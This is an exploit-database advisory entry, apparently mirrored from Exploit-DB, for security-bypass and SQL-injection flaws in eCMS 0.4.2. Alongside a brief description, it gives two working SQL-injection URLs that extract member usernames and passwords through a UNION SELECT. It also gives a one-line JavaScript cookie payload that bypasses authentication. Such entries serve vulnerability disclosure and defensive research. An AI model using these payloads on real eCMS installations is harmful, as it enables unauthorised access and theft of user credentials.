eCMS 0.4.2 - Multiple Security Vulnerabilities

2008-05-20T00:00:00
ID EDB-ID:31813
Type exploitdb
Reporter hadihadi
Modified 2008-05-20T00:00:00

Description

eCMS 0.4.2 Multiple Security Vulnerabilities. Webapps exploit for php platform

                                        
                                            source: http://www.securityfocus.com/bid/29304/info

eCMS is prone to multiple security vulnerabilities, including a security-bypass issue and an SQL-injection issue.

Exploiting these issues may allow an attacker to bypass certain security restrictions and gain unauthorized access to the application. The attacker can also exploit the SQL-injection issue by manipulating the SQL query logic to carry out unauthorized actions on the underlying database. This will compromise the application and may aid in further attacks.

These issues affect eCMS 0.4.2; other versions may also be affected. 

http://www.example.com/index.php?p='/**/union/**/select/**/1,concat(username,0x3a,char(58),password),3,4,5,6/**/from/**/members/**/where/**/id=1/*
http://www.example.com/index.php?p='/**/union/**/select/**/1,concat(username,0x3a,char(58),password),3,4,5,6/**/from/**/members/*

The following proof-of-concept JavaScript code to create a cookie is available for the security-bypass issue:

javascript:document.cookie = "pass=1; path=/";